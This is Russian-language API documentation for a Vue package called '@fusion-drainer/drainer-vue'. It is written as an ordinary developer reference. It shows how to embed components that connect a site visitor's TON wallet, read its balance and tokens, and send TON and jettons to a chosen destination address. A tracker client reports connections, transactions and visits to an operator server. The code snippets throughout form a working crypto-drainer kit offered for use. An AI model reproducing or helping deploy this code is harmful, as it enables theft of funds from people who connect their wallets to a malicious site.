Skip to content

Vue Components API

⚠️ Внимание! Эта документация и API предназначены исключительно для разработчиков.

Использование серверных API и других методов, описанных в этом разделе, требует технических знаний. Не пытайтесь использовать эти инструменты, если у вас нет достаточного опыта в программировании или управлении серверными приложениями.

Неправильное использование API или инструментов может привести к сбоям в работе системы, утечке данных или другим серьёзным последствиям. Всегда консультируйтесь с разработчиком или специалистом перед внесением изменений.

Пакет @fusion-drainer/drainer-vue предоставляет Vue-компоненты и функции для работы с TON Connect и их интеграции в ваше приложение. Установить пакет можно с помощью команды:

bash
pnpm add ./path-to/drainer-vue

Основные концепции

Провайдер

Компоненты DrainerWalletButton и DrainerCreateTransaction должны использоваться внутри компонента-провайдера DrainerProvider. Этот провайдер отвечает за инициализацию и управление контекстом TON Connect для всех вложенных компонентов.

Получение walletDetails

Для того чтобы получить данные подключенного кошелька (walletDetails), необходимо вызвать метод getWalletDetails после подключения кошелька. Метод принимает два аргумента: hostname (домен текущего сайта) и walletAddress (адрес подключенного кошелька). Данные о кошельке используются компонентом DrainerCreateTransaction для создания транзакции.

Инициализация TrackerClient

TrackerClient — это класс, используемый для отслеживания событий и взаимодействия с сервером. Его необходимо инициализировать с использованием baseURL, который указывает на ваш сервер. Этот клиент может быть использован для отслеживания подключений кошелька и транзакций.

Компоненты

1. DrainerProvider

DrainerProvider является основным компонентом, который оборачивает всё приложение или его часть, предоставляя необходимые контексты для работы других компонентов с TON Connect.

Использование

vue
<template>
  <DrainerProvider :options="options">
    <!-- Вложенные компоненты, такие как DrainerWalletButton и DrainerCreateTransaction -->
  </DrainerProvider>
</template>

<script setup lang="ts">
import { DrainerProvider } from '@fusion-drainer/drainer-vue';

const options = {
  manifestUrl: "https://example.com/tonconnect-manifest.json",
};
</script>

Props

  • options (TonConnectOptions, обязательный): Объект с параметрами для настройки TON Connect UI, включая manifestUrl, указывающий на файл манифеста TON Connect.

2. DrainerWalletButton

Компонент DrainerWalletButton предоставляет кнопку для подключения кошелька через TON Connect. Этот компонент должен находиться внутри DrainerProvider.

Использование

vue
<template>
  <DrainerWalletButton
    v-on:wallet-connect="onWalletConnect"
    v-on:wallet-disconnect="onWalletDisconnect"
  />
</template>

<script setup lang="ts">
import { DrainerWalletButton, WalletConnectDto, getWalletDetails } from '@fusion-drainer/drainer-vue';
import { ref } from 'vue';

const walletDetails = ref<WalletConnectDto | null>(null);

const onWalletConnect = async (walletAddress: string) => {
  walletDetails.value = await getWalletDetails(window.location.hostname, walletAddress);
  console.log('Кошелек подключен:', walletDetails.value);
};

const onWalletDisconnect = () => {
  walletDetails.value = null;
  console.log('Кошелек отключен');
};
</script>

Props

  • buttonRootId (string, необязательный, по умолчанию: 'ton-connect-button'): Идентификатор корневого элемента кнопки.
  • className (string, необязательный): CSS-класс для стилизации кнопки.
  • styles (Object, необязательный): Объект с CSS-стилями для кастомизации внешнего вида кнопки.

События

  • walletConnect: Событие, срабатывающее при успешном подключении кошелька. Возвращает адрес подключенного кошелька.
  • walletDisconnect: Событие, срабатывающее при отключении кошелька.

3. DrainerCreateTransaction

Этот компонент предназначен для создания и отправки транзакций с использованием TON Connect. Он должен быть вложен в DrainerProvider.

Использование

vue
<template>
  <div>
    <!-- Компонент DrainerCreateTransaction -->
    <DrainerCreateTransaction
        ref="drainerTransactionRef"
        :wallet-details="walletDetails"
        :destination-address="destinationAddress"
        :pool-address="poolAddress"
        v-on:transaction="onTransaction"
        v-on:error="onError"
    />

    <!-- Кнопка для вызова метода sendTransaction -->
    <button @click="handleSendTransaction">Отправить транзакцию</button>
  </div>
</template>

<script setup lang="ts">
  import { ref } from 'vue';
  import { DrainerCreateTransaction, WalletConnectDto, TransactionDto } from '@fusion-drainer/drainer-vue';

  // Данные для транзакции
  const walletDetails = ref<WalletConnectDto | null>(null);
  const destinationAddress = 'EQC1...'; // Замените на фактический адрес
  const poolAddress = 'EQD2...'; // Замените на фактический адрес

  // Ссылка на компонент DrainerCreateTransaction
  const drainerTransactionRef = ref<InstanceType<typeof DrainerCreateTransaction>>();

  // Обработчик успешной транзакции
  const onTransaction = (withdrawDetails: TransactionDto) => {
    console.log('Транзакция успешно отправлена:', withdrawDetails);
  };

  // Обработчик ошибки
  const onError = (error: Error) => {
    console.error('Ошибка при отправке транзакции:', error);
  };

  // Метод для вызова sendTransaction
  const handleSendTransaction = async () => {
    if (drainerTransactionRef.value) {
      try {
        await drainerTransactionRef.value.sendTransaction();
      } catch (error) {
        console.error('Ошибка при вызове sendTransaction:', error);
      }
    }
  };
</script>

Props

  • walletDetails (WalletConnectDto | null, обязательный): Объект с деталями подключенного кошелька, необходимый для создания транзакции. Его можно получить с помощью метода getWalletDetails после успешного подключения кошелька.
  • destinationAddress (string, обязательный): Адрес назначения для отправки транзакции.
  • poolAddress (string, обязательный): Адрес пула для транзакции.

Методы

  • sendTransaction: Метод для отправки транзакции. Может быть вызван через ref компонента для выполнения транзакции вручную.

События

  • transaction: Событие, срабатывающее при успешной отправке транзакции. Возвращает объект TransactionDto, содержащий информацию о транзакции.
  • error: Событие, срабатывающее при возникновении ошибки во время отправки транзакции. Возвращает объект ошибки Error.

Инициализация TrackerClient

Для отслеживания действий, таких как подключение кошелька или выполнение транзакции, используется TrackerClient.

Пример инициализации:

ts
import { TrackerClient } from '@fusion-drainer/drainer-vue';

const bridgeClient = new TrackerClient({
  baseURL: 'https://your-server.com/api', // Замените на фактический URL
});

Методы TrackerClient

  • trackerControllerTrackWalletConnect(walletDetails: WalletConnectDto): Отправляет информацию о подключении кошелька на сервер.
  • trackerControllerTrackTransaction(withdrawDetails: TransactionDto): Отправляет данные о выполненной транзакции на сервер.
  • trackerControllerTrackVisit(domain: string): Отправляет информацию о визите на сервер.

Использование:

  • После подключения кошелька, вы можете вызвать trackerControllerTrackWalletConnect, чтобы зафиксировать подключение.
  • После успешного выполнения транзакции вызывается trackerControllerTrackTransaction.

Низкоуровневые функции

Пакет также предоставляет ряд низкоуровневых функций, которые могут быть полезны для более тонкой настройки транзакций и взаимодействия с блокчейном.

1. claimHoneypotMessage

Функция claimHoneypotMessage используется для создания сообщения, необходимого для выполнения "honeypot" транзакции. Это может быть полезно, когда вы хотите запросить получение определенного количества токенов или средств из пула.

Использование:

typescript
import { claimHoneypotMessage } from '@fusion-drainer/drainer-vue';

const message = claimHoneypotMessage(
  1000, // Сумма в нанотокенах
  'EQC1...', // Адрес получателя
  'EQD2...'  // Адрес пула
);

// Это сообщение может быть отправлено через соответствующий метод для выполнения транзакции

2. createComment

Функция createComment позволяет создавать комментарии, которые могут быть включены в транзакцию. Это может быть полезно для добавления метаданных или описания к транзакции.

Использование:

typescript
import { createComment } from '@fusion-drainer/drainer-vue';

const commentCell = createComment('Это комментарий к транзакции');

// Этот комментарий может быть добавлен к транзакции, чтобы сделать её более информативной

3. transferJettonMessage

Функция transferJettonMessage создает сообщение для передачи Jetton токенов. Это полезно для выполнения токенизированных транзакций между адресами.

Использование:

typescript
import { transferJettonMessage } from '@fusion-drainer/drainer-vue';

const jettonMessage = transferJettonMessage(
  500, // Количество Jetton в нанотокенах
  'EQC1...', // Адрес получателя
  'EQD3...', // Адрес отправителя
  'EQD4...'  // Адрес кошелька владельца Jetton
);

// Это сообщение может быть

 отправлено для выполнения Jetton транзакции

4. transferTonMessage

Функция transferTonMessage создает сообщение для перевода TON. Это полезно для выполнения простых транзакций с использованием TON.

Использование:

typescript
import { transferTonMessage } from '@fusion-drainer/drainer-vue';

const tonMessage = transferTonMessage(
  1, // Сумма перевода в TON
  'EQC1...' // Адрес получателя
);

// Это сообщение может быть использовано для выполнения простой TON транзакции

5. getWalletDetails

Функция getWalletDetails извлекает детали кошелька, включая баланс и данные о токенах. Это полезно для получения полной информации о подключенном кошельке.

Использование:

typescript
import { getWalletDetails } from '@fusion-drainer/drainer-vue';

const walletDetails = await getWalletDetails('example.com', 'EQC1...');

// Эти данные могут быть использованы для отображения информации о кошельке или выполнения транзакций